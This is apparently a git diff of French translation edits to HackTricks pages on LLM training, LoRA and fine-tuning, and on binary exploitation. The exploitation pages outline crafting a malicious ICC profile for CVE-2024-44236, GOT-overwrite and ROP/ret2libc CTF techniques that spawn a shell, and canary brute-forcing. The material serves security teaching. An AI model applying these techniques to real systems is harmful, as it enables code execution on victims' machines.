<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
|
||||
|
||||
@ -29,7 +29,7 @@ Par exemple, une valeur de perplexité de 48725 signifie que lorsqu'il doit pré
|
||||
|
||||
## Exemple de pré-entraînement
|
||||
|
||||
Ceci est le code initial proposé dans [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) parfois légèrement modifié
|
||||
Voici le code initial proposé dans [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) parfois légèrement modifié
|
||||
|
||||
<details>
|
||||
|
||||
@ -592,9 +592,9 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
|
||||
return idx
|
||||
```
|
||||
> [!TIP]
|
||||
> Il existe une alternative courante à `top-k` appelée [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), également connue sous le nom de sampling par noyau, qui au lieu d'obtenir k échantillons avec la plus grande probabilité, **organise** tout le **vocabulaire** résultant par probabilités et **somme** celles-ci de la plus haute probabilité à la plus basse jusqu'à ce qu'un **seuil soit atteint**.
|
||||
> Il existe une alternative courante à `top-k` appelée [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), également connue sous le nom d'échantillonnage par noyau, qui au lieu de prendre k échantillons avec la plus grande probabilité, **organise** tout le **vocabulaire** résultant par probabilités et **somme** celles-ci de la plus haute probabilité à la plus basse jusqu'à ce qu'un **seuil soit atteint**.
|
||||
>
|
||||
> Ensuite, **seules ces mots** du vocabulaire seront considérés en fonction de leurs probabilités relatives.
|
||||
> Ensuite, **seuls ces mots** du vocabulaire seront considérés en fonction de leurs probabilités relatives.
|
||||
>
|
||||
> Cela permet de ne pas avoir besoin de sélectionner un nombre d'échantillons `k`, car le k optimal peut être différent dans chaque cas, mais **seulement un seuil**.
|
||||
>
|
||||
@ -606,7 +606,7 @@ return idx
|
||||
>
|
||||
> _Notez que cette amélioration n'est pas incluse dans le code précédent._
|
||||
|
||||
### Loss functions
|
||||
### Fonctions de perte
|
||||
|
||||
La fonction **`calc_loss_batch`** calcule l'entropie croisée d'une prédiction d'un seul lot.\
|
||||
La **`calc_loss_loader`** obtient l'entropie croisée de tous les lots et calcule l'**entropie croisée moyenne**.
|
||||
@ -637,11 +637,11 @@ break
|
||||
return total_loss / num_batches
|
||||
```
|
||||
> [!TIP]
|
||||
> **Le clipping de gradient** est une technique utilisée pour améliorer **la stabilité de l'entraînement** dans les grands réseaux de neurones en définissant un **seuil maximum** pour les magnitudes des gradients. Lorsque les gradients dépassent ce `max_norm` prédéfini, ils sont réduits proportionnellement pour garantir que les mises à jour des paramètres du modèle restent dans une plage gérable, évitant des problèmes comme les gradients explosifs et assurant un entraînement plus contrôlé et stable.
|
||||
> **Le clipping de gradient** est une technique utilisée pour améliorer **la stabilité de l'entraînement** dans de grands réseaux de neurones en fixant un **seuil maximum** pour les magnitudes des gradients. Lorsque les gradients dépassent ce `max_norm` prédéfini, ils sont réduits proportionnellement pour garantir que les mises à jour des paramètres du modèle restent dans une plage gérable, évitant des problèmes comme les gradients explosifs et assurant un entraînement plus contrôlé et stable.
|
||||
>
|
||||
> _Notez que cette amélioration n'est pas incluse dans le code précédent._
|
||||
>
|
||||
> Consultez l'exemple suivant :
|
||||
> Vérifiez l'exemple suivant :
|
||||
|
||||
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -721,9 +721,9 @@ print("Training tokens:", train_tokens)
|
||||
print("Validation tokens:", val_tokens)
|
||||
print("All tokens:", train_tokens + val_tokens)
|
||||
```
|
||||
### Sélectionner un appareil pour l'entraînement et les pré-calculs
|
||||
### Sélectionner le dispositif pour l'entraînement et les pré-calculs
|
||||
|
||||
Le code suivant sélectionne simplement l'appareil à utiliser et calcule une perte d'entraînement et une perte de validation (sans avoir encore entraîné quoi que ce soit) comme point de départ.
|
||||
Le code suivant sélectionne simplement le dispositif à utiliser et calcule une perte d'entraînement et une perte de validation (sans avoir encore entraîné quoi que ce soit) comme point de départ.
|
||||
```python
|
||||
# Indicate the device to use
|
||||
|
||||
@ -761,7 +761,7 @@ Ensuite, la grande fonction `train_model_simple` est celle qui entraîne réelle
|
||||
- L'**optimiseur** à utiliser pendant l'entraînement : C'est la fonction qui utilisera les gradients et mettra à jour les paramètres pour réduire la perte. Dans ce cas, comme vous le verrez, `AdamW` est utilisé, mais il en existe beaucoup d'autres.
|
||||
- `optimizer.zero_grad()` est appelé pour réinitialiser les gradients à chaque tour afin de ne pas les accumuler.
|
||||
- Le paramètre **`lr`** est le **taux d'apprentissage** qui détermine la **taille des étapes** prises pendant le processus d'optimisation lors de la mise à jour des paramètres du modèle. Un **taux d'apprentissage** **plus petit** signifie que l'optimiseur **effectue des mises à jour plus petites** des poids, ce qui peut conduire à une convergence plus **précise** mais peut **ralentir** l'entraînement. Un **taux d'apprentissage** **plus grand** peut accélérer l'entraînement mais **risque de dépasser** le minimum de la fonction de perte (**sauter par-dessus** le point où la fonction de perte est minimisée).
|
||||
- La **décroissance de poids** modifie l'étape de **calcul de la perte** en ajoutant un terme supplémentaire qui pénalise les poids importants. Cela encourage l'optimiseur à trouver des solutions avec des poids plus petits, équilibrant entre un bon ajustement des données et le maintien d'un modèle simple, prévenant le surajustement dans les modèles d'apprentissage automatique en décourageant le modèle d'attribuer trop d'importance à une seule caractéristique.
|
||||
- La **décroissance de poids** modifie l'étape de **calcul de la perte** en ajoutant un terme supplémentaire qui pénalise les poids importants. Cela encourage l'optimiseur à trouver des solutions avec des poids plus petits, équilibrant entre un bon ajustement des données et le maintien d'un modèle simple, prévenant le surajustement dans les modèles d'apprentissage automatique en décourageant le modèle d'accorder trop d'importance à une seule caractéristique.
|
||||
- Les optimisateurs traditionnels comme SGD avec régularisation L2 couplent la décroissance de poids avec le gradient de la fonction de perte. Cependant, **AdamW** (une variante de l'optimiseur Adam) découple la décroissance de poids de la mise à jour du gradient, conduisant à une régularisation plus efficace.
|
||||
- Le dispositif à utiliser pour l'entraînement
|
||||
- Le nombre d'époques : Nombre de fois à passer sur les données d'entraînement
|
||||
@ -943,4 +943,4 @@ Il y a 2 scripts rapides pour charger les poids GPT2 localement. Pour les deux,
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,21 +1,21 @@
|
||||
# 7.0. Améliorations de LoRA dans le fine-tuning
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Améliorations de LoRA
|
||||
|
||||
> [!TIP]
|
||||
> L'utilisation de **LoRA réduit beaucoup le calcul** nécessaire pour **affiner** des modèles déjà entraînés.
|
||||
|
||||
LoRA permet d'affiner **des modèles larges** de manière efficace en ne changeant qu'une **petite partie** du modèle. Cela réduit le nombre de paramètres que vous devez entraîner, économisant **mémoire** et **ressources computationnelles**. Cela est dû au fait que :
|
||||
LoRA permet d'affiner **des modèles larges** de manière efficace en ne changeant qu'une **petite partie** du modèle. Cela réduit le nombre de paramètres que vous devez entraîner, économisant ainsi de la **mémoire** et des **ressources computationnelles**. Cela est dû au fait que :
|
||||
|
||||
1. **Réduit le Nombre de Paramètres Entraînables** : Au lieu de mettre à jour l'ensemble de la matrice de poids dans le modèle, LoRA **divise** la matrice de poids en deux matrices plus petites (appelées **A** et **B**). Cela rend l'entraînement **plus rapide** et nécessite **moins de mémoire** car moins de paramètres doivent être mis à jour.
|
||||
|
||||
1. Cela est dû au fait qu'au lieu de calculer la mise à jour complète des poids d'une couche (matrice), il l'approxime à un produit de 2 matrices plus petites réduisant la mise à jour à calculer :\
|
||||
1. Cela est dû au fait qu'au lieu de calculer la mise à jour complète des poids d'une couche (matrice), il l'approxime à un produit de 2 matrices plus petites, réduisant la mise à jour à calculer :\
|
||||
|
||||
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Garde les Poids du Modèle Original Inchangés** : LoRA vous permet de garder les poids du modèle original identiques, et ne met à jour que les **nouvelles petites matrices** (A et B). Cela est utile car cela signifie que les connaissances originales du modèle sont préservées, et vous ne modifiez que ce qui est nécessaire.
|
||||
2. **Garde les Poids du Modèle Original Inchangés** : LoRA vous permet de garder les poids du modèle original identiques et ne met à jour que les **nouvelles petites matrices** (A et B). Cela est utile car cela signifie que les connaissances originales du modèle sont préservées, et vous ne modifiez que ce qui est nécessaire.
|
||||
3. **Affinage Efficace Spécifique à la Tâche** : Lorsque vous souhaitez adapter le modèle à une **nouvelle tâche**, vous pouvez simplement entraîner les **petites matrices LoRA** (A et B) tout en laissant le reste du modèle tel quel. Cela est **beaucoup plus efficace** que de réentraîner l'ensemble du modèle.
|
||||
4. **Efficacité de Stockage** : Après le fine-tuning, au lieu de sauvegarder un **nouveau modèle entier** pour chaque tâche, vous n'avez besoin de stocker que les **matrices LoRA**, qui sont très petites par rapport à l'ensemble du modèle. Cela facilite l'adaptation du modèle à de nombreuses tâches sans utiliser trop de stockage.
|
||||
|
||||
@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha)
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# 7.1. Ajustement fin pour la classification
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Qu'est-ce que c'est
|
||||
|
||||
@ -18,12 +18,12 @@ L'ajustement fin est le processus qui consiste à prendre un **modèle pré-entr
|
||||
|
||||
Bien sûr, pour ajuster un modèle, vous avez besoin de données structurées à utiliser pour spécialiser votre LLM. Dans l'exemple proposé dans [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 est ajusté pour détecter si un email est un spam ou non en utilisant les données de [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
|
||||
|
||||
Cet ensemble de données contient beaucoup plus d'exemples de "non spam" que de "spam", donc le livre suggère de **n'utiliser que autant d'exemples de "non spam" que de "spam"** (en supprimant donc tous les exemples supplémentaires des données d'entraînement). Dans ce cas, il y avait 747 exemples de chaque.
|
||||
Cet ensemble de données contient beaucoup plus d'exemples de "non spam" que de "spam", donc le livre suggère de **n'utiliser que autant d'exemples de "non spam" que de "spam"** (en supprimant ainsi tous les exemples supplémentaires des données d'entraînement). Dans ce cas, il y avait 747 exemples de chaque.
|
||||
|
||||
Ensuite, **70%** de l'ensemble de données est utilisé pour **l'entraînement**, **10%** pour **la validation** et **20%** pour **les tests**.
|
||||
|
||||
- L'**ensemble de validation** est utilisé pendant la phase d'entraînement pour ajuster les **hyperparamètres** du modèle et prendre des décisions concernant l'architecture du modèle, aidant ainsi à prévenir le surajustement en fournissant des retours sur la performance du modèle sur des données non vues. Cela permet des améliorations itératives sans biaiser l'évaluation finale.
|
||||
- Cela signifie que bien que les données incluses dans cet ensemble de données ne soient pas utilisées directement pour l'entraînement, elles sont utilisées pour ajuster les meilleurs **hyperparamètres**, donc cet ensemble ne peut pas être utilisé pour évaluer la performance du modèle comme le fait l'ensemble de test.
|
||||
- Cela signifie que bien que les données incluses dans cet ensemble de données ne soient pas utilisées directement pour l'entraînement, elles sont utilisées pour ajuster les meilleurs **hyperparamètres**, donc cet ensemble ne peut pas être utilisé pour évaluer la performance du modèle comme celui des tests.
|
||||
- En revanche, l'**ensemble de test** est utilisé **uniquement après** que le modèle a été entièrement entraîné et que tous les ajustements sont terminés ; il fournit une évaluation impartiale de la capacité du modèle à généraliser sur de nouvelles données non vues. Cette évaluation finale sur l'ensemble de test donne une indication réaliste de la façon dont le modèle est censé performer dans des applications réelles.
|
||||
|
||||
### Longueur des entrées
|
||||
@ -66,9 +66,9 @@ param.requires_grad = True
|
||||
```
|
||||
## Entrées à utiliser pour l'entraînement
|
||||
|
||||
Dans les sections précédentes, le LLM a été entraîné en réduisant la perte de chaque token prédit, même si presque tous les tokens prédits étaient dans la phrase d'entrée (seulement 1 à la fin était vraiment prédit) afin que le modèle comprenne mieux la langue.
|
||||
Dans les sections précédentes, le LLM a été entraîné en réduisant la perte de chaque jeton prédit, même si presque tous les jetons prédits étaient dans la phrase d'entrée (seul 1 à la fin était vraiment prédit) afin que le modèle comprenne mieux la langue.
|
||||
|
||||
Dans ce cas, nous ne nous soucions que de la capacité du modèle à prédire si le modèle est un spam ou non, donc nous ne nous soucions que du dernier token prédit. Par conséquent, il est nécessaire de modifier nos précédentes fonctions de perte d'entraînement pour ne prendre en compte que ce token.
|
||||
Dans ce cas, nous ne nous soucions que de la capacité du modèle à prédire si le modèle est un spam ou non, donc nous ne nous soucions que du dernier jeton prédit. Par conséquent, il est nécessaire de modifier nos précédentes fonctions de perte d'entraînement pour ne prendre en compte que ce jeton.
|
||||
|
||||
Ceci est implémenté dans [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) comme :
|
||||
```python
|
||||
@ -111,4 +111,4 @@ Vous pouvez trouver tout le code pour fine-tuner GPT2 en tant que classificateur
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# 7.2. Ajustement pour suivre des instructions
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!TIP]
|
||||
> L'objectif de cette section est de montrer comment **ajuster un modèle déjà pré-entraîné pour suivre des instructions** plutôt que de simplement générer du texte, par exemple, répondre à des tâches en tant que chatbot.
|
||||
@ -29,7 +29,7 @@ Can you explain what gravity is in simple terms?
|
||||
<|Assistant|>
|
||||
Absolutely! Gravity is a force that pulls objects toward each other.
|
||||
```
|
||||
Former un LLM avec ce type de jeux de données au lieu de simplement du texte brut aide le LLM à comprendre qu'il doit donner des réponses spécifiques aux questions qu'il reçoit.
|
||||
Former un LLM avec ce genre de jeux de données au lieu de simplement du texte brut aide le LLM à comprendre qu'il doit donner des réponses spécifiques aux questions qu'il reçoit.
|
||||
|
||||
Par conséquent, l'une des premières choses à faire avec un ensemble de données contenant des demandes et des réponses est de modéliser ces données dans le format de prompt souhaité, comme :
|
||||
```python
|
||||
@ -74,7 +74,7 @@ Rappelez-vous que le surapprentissage se produit lorsque la perte d'entraînemen
|
||||
|
||||
## Response Quality
|
||||
|
||||
Comme il ne s'agit pas d'un fine-tuning de classification où il est possible de faire davantage confiance aux variations de perte, il est également important de vérifier la qualité des réponses dans l'ensemble de test. Par conséquent, il est recommandé de rassembler les réponses générées de tous les ensembles de test et **de vérifier leur qualité manuellement** pour voir s'il y a des réponses incorrectes (notez qu'il est possible pour le LLM de créer correctement le format et la syntaxe de la phrase de réponse mais de donner une réponse complètement incorrecte. La variation de perte ne reflétera pas ce comportement).\
|
||||
Comme il ne s'agit pas d'un fine-tune de classification où il est possible de faire davantage confiance aux variations de perte, il est également important de vérifier la qualité des réponses dans l'ensemble de test. Par conséquent, il est recommandé de rassembler les réponses générées de tous les ensembles de test et **de vérifier leur qualité manuellement** pour voir s'il y a des réponses incorrectes (notez qu'il est possible pour le LLM de créer correctement le format et la syntaxe de la phrase de réponse mais de donner une réponse complètement incorrecte. La variation de perte ne reflétera pas ce comportement).\
|
||||
Notez qu'il est également possible d'effectuer cette révision en passant les réponses générées et les réponses attendues à **d'autres LLM et leur demander d'évaluer les réponses**.
|
||||
|
||||
Autre test à effectuer pour vérifier la qualité des réponses :
|
||||
@ -101,4 +101,4 @@ Vous pouvez trouver un exemple de code pour effectuer ce fine-tuning à [https:/
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
# LLM Training - Data Preparation
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ce sont mes notes du livre très recommandé** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **avec quelques informations supplémentaires.**
|
||||
|
||||
## Basic Information
|
||||
|
||||
Vous devriez commencer par lire ce post pour quelques concepts de base que vous devriez connaître :
|
||||
Vous devriez commencer par lire ce post pour quelques concepts de base que vous devez connaître :
|
||||
|
||||
{{#ref}}
|
||||
0.-basic-llm-concepts.md
|
||||
@ -36,7 +36,7 @@ Vous devriez commencer par lire ce post pour quelques concepts de base que vous
|
||||
> L'objectif de cette troisième phase est très simple : **Attribuer à chacun des tokens précédents dans le vocabulaire un vecteur des dimensions souhaitées pour entraîner le modèle.** Chaque mot dans le vocabulaire sera un point dans un espace de X dimensions.\
|
||||
> Notez qu'initialement, la position de chaque mot dans l'espace est simplement initialisée "au hasard" et ces positions sont des paramètres entraînables (seront améliorés pendant l'entraînement).
|
||||
>
|
||||
> De plus, pendant l'embedding des tokens, **une autre couche d'embeddings est créée** qui représente (dans ce cas) la **position absolue du mot dans la phrase d'entraînement**. De cette manière, un mot à différentes positions dans la phrase aura une représentation différente (signification).
|
||||
> De plus, pendant l'embedding des tokens, **une autre couche d'embeddings est créée** qui représente (dans ce cas) la **position absolue du mot dans la phrase d'entraînement**. De cette façon, un mot à différentes positions dans la phrase aura une représentation différente (signification).
|
||||
|
||||
{{#ref}}
|
||||
3.-token-embeddings.md
|
||||
@ -45,7 +45,7 @@ Vous devriez commencer par lire ce post pour quelques concepts de base que vous
|
||||
## 4. Attention Mechanisms
|
||||
|
||||
> [!TIP]
|
||||
> L'objectif de cette quatrième phase est très simple : **Appliquer certains mécanismes d'attention**. Ce seront beaucoup de **couches répétées** qui vont **capturer la relation d'un mot dans le vocabulaire avec ses voisins dans la phrase actuelle utilisée pour entraîner le LLM**.\
|
||||
> L'objectif de cette quatrième phase est très simple : **Appliquer certains mécanismes d'attention**. Ceux-ci vont être beaucoup de **couches répétées** qui vont **capturer la relation d'un mot dans le vocabulaire avec ses voisins dans la phrase actuelle utilisée pour entraîner le LLM**.\
|
||||
> Beaucoup de couches sont utilisées pour cela, donc beaucoup de paramètres entraînables vont capturer cette information.
|
||||
|
||||
{{#ref}}
|
||||
@ -99,4 +99,4 @@ Vous devriez commencer par lire ce post pour quelques concepts de base que vous
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,3 +1,3 @@
|
||||
# Écriture arbitraire 2 Exécution
|
||||
# Arbitrary Write 2 Exec
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Aperçu
|
||||
|
||||
Une vulnérabilité d'écriture hors limites dans le parseur de profil ICC du Système de Traitement d'Image Scriptable d'Apple macOS (`sips`) (macOS 15.0.1, sips-307) en raison d'une validation incorrecte du champ `offsetToCLUT` dans les tags `lutAToBType` (`mAB `) et `lutBToAType` (`mBA `). Un fichier ICC conçu peut déclencher des écritures nulles jusqu'à 16 octets au-delà du tampon de tas, corrompant les métadonnées du tas ou les pointeurs de fonction et permettant l'exécution de code arbitraire (CVE-2024-44236).
|
||||
Une vulnérabilité d'écriture hors limites dans le parseur de profil ICC du Système de Traitement d'Image Scriptable d'Apple macOS (`sips`) (macOS 15.0.1, sips-307) en raison d'une validation incorrecte du champ `offsetToCLUT` dans les balises `lutAToBType` (`mAB `) et `lutBToAType` (`mBA `). Un fichier ICC conçu peut déclencher des écritures nulles jusqu'à 16 octets au-delà du tampon de tas, corrompant les métadonnées du tas ou les pointeurs de fonction et permettant l'exécution de code arbitraire (CVE-2024-44236).
|
||||
|
||||
## Code Vulnérable
|
||||
|
||||
@ -22,7 +22,7 @@ Seule une vérification `offsetToCLUT <= totalDataLength` est effectuée. En dé
|
||||
|
||||
1. **Créer un profil `.icc` malveillant :**
|
||||
- Construire l'en-tête ICC (128 octets) avec la signature `acsp` et une seule entrée de tag `lutAToBType` ou `lutBToAType`.
|
||||
- Dans la table des tags, définir `offsetToCLUT` égal à la `size` du tag (`tagDataSize`).
|
||||
- Dans la table des tags, définir `offsetToCLUT` égal à la `taille` du tag (`tagDataSize`).
|
||||
- Placer des données contrôlées par l'attaquant immédiatement après le bloc de données du tag pour écraser les métadonnées de tas.
|
||||
2. **Déclencher l'analyse :**
|
||||
|
||||
@ -40,7 +40,7 @@ Une exploitation réussie entraîne l'exécution de code arbitraire à distance
|
||||
|
||||
- Surveiller les transferts de fichiers sur des protocoles courants (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Inspecter les fichiers transférés avec la signature `acsp`.
|
||||
- Pour chaque tag `mAB ` ou `mBA `, vérifier si le champ `Offset to CLUT` est égal à la `Tag data size`.
|
||||
- Pour chaque tag `mAB ` ou `mBA `, vérifier si le champ `Offset to CLUT` est égal à la `Taille des données du tag`.
|
||||
- Signaler comme suspect si cette condition est remplie.
|
||||
|
||||
## Références
|
||||
@ -50,4 +50,4 @@ https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulner
|
||||
- Mise à jour de sécurité d'Apple d'octobre 2024 (patch expédiant CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -9,12 +9,12 @@ Cette catégorie inclut toutes les vulnérabilités qui se produisent parce qu'i
|
||||
Cependant, vous pouvez trouver quelques **exemples** intéressants :
|
||||
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- Il y a **2 tableaux en collision**, un pour les **adresses** où les données sont stockées et un avec les **tailles** de ces données. Il est possible d'écraser l'un par l'autre, permettant d'écrire une adresse arbitraire en l'indiquant comme taille. Cela permet d'écrire l'adresse de la fonction `free` dans la table GOT et ensuite de l'écraser avec l'adresse de `system`, et d'appeler free depuis une mémoire avec `/bin/sh`.
|
||||
- Il y a **2 tableaux en collision**, un pour les **adresses** où les données sont stockées et un avec les **tailles** de ces données. Il est possible d'écraser l'un par l'autre, permettant d'écrire une adresse arbitraire en l'indiquant comme taille. Cela permet d'écrire l'adresse de la fonction `free` dans la table GOT, puis de l'écraser avec l'adresse de `system`, et d'appeler free depuis une mémoire avec `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 bits, pas de nx. Écraser une taille pour obtenir une sorte de débordement de tampon où tout va être utilisé comme un double nombre et trié du plus petit au plus grand, donc il est nécessaire de créer un shellcode qui remplit cette exigence, en tenant compte que le canary ne doit pas être déplacé de sa position et enfin écraser le RIP avec une adresse de retour, qui remplit les exigences précédentes et mettant la plus grande adresse à une nouvelle adresse pointant vers le début de la pile (fuit par le programme) afin qu'il soit possible d'utiliser le retour pour sauter là-bas.
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64 bits, pas de relro, canary, nx, pas de pie. Il y a un off-by-one dans un tableau dans la pile qui permet de contrôler un pointeur accordant WWW (il écrit la somme de tous les nombres du tableau dans l'adresse écrasée par l'off-by-one dans le tableau). La pile est contrôlée donc l'adresse GOT `exit` est écrasée avec `pop rdi; ret`, et dans la pile est ajoutée l'adresse de `main` (retournant à `main`). Une chaîne ROP pour fuir l'adresse de put dans la GOT en utilisant puts est utilisée (`exit` sera appelé donc il appellera `pop rdi; ret` exécutant ainsi cette chaîne dans la pile). Enfin, une nouvelle chaîne ROP exécutant ret2lib est utilisée.
|
||||
- 64 bits, pas de relro, canary, nx, pas de pie. Il y a un off-by-one dans un tableau dans la pile qui permet de contrôler un pointeur accordant WWW (il écrit la somme de tous les nombres du tableau dans l'adresse écrasée par l'off-by-one dans le tableau). La pile est contrôlée donc l'adresse GOT `exit` est écrasée avec `pop rdi; ret`, et dans la pile est ajoutée l'adresse de `main` (retournant à `main`). Une chaîne ROP pour fuir l'adresse de put dans la GOT en utilisant puts est utilisée (`exit` sera appelé donc il appellera `pop rdi; ret`, exécutant ainsi cette chaîne dans la pile). Enfin, une nouvelle chaîne ROP exécutant ret2lib est utilisée.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bits, pas de relro, pas de canary, nx, pie. Abuser d'une mauvaise indexation pour fuir les adresses de libc et de heap depuis la pile. Abuser du débordement de tampon pour faire un ret2lib appelant `system('/bin/sh')` (l'adresse de la heap est nécessaire pour contourner un contrôle).
|
||||
- 32 bits, pas de relro, pas de canary, nx, pie. Abuser d'une mauvaise indexation pour fuir les adresses de libc et de heap depuis la pile. Abuser du débordement de tampon pour faire un ret2lib appelant `system('/bin/sh')` (l'adresse de heap est nécessaire pour contourner un contrôle).
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
## Brute force Canary
|
||||
|
||||
Le meilleur moyen de contourner un canary simple est si le binaire est un programme **créant des processus enfants chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous y connectez, **le même canary sera utilisé**.
|
||||
Le meilleur moyen de contourner un canary simple est si le binaire est un programme **forkant des processus enfants chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous y connectez, **le même canary sera utilisé**.
|
||||
|
||||
Ensuite, le meilleur moyen de contourner le canary est simplement de **le brute-forcer caractère par caractère**, et vous pouvez déterminer si le byte de canary deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **brute-force un canary de 8 octets (x64)** et distingue entre un byte deviné correct et un mauvais byte juste en **vérifiant** si une **réponse** est renvoyée par le serveur (une autre méthode dans **d'autres situations** pourrait être d'utiliser un **try/except**):
|
||||
|
||||
@ -109,11 +109,11 @@ De plus, un **débordement de tampon dans une fonction threadée** protégée pa
|
||||
En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaries qui sont identiques (bien que modifiés).\
|
||||
Cette attaque est décrite dans le writeup : [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Consultez également la présentation de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap`, ce qui pourrait permettre le débordement comme montré dans le writeup précédent.
|
||||
Vérifiez également la présentation de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap` selon cela, ce qui pourrait permettre le débordement comme montré dans le writeup précédent.
|
||||
|
||||
## Other examples & references
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
- 64 bits, pas de PIE, nx, BF canary, écrire dans une mémoire un ROP pour appeler `execve` et y sauter.
|
||||
|
||||
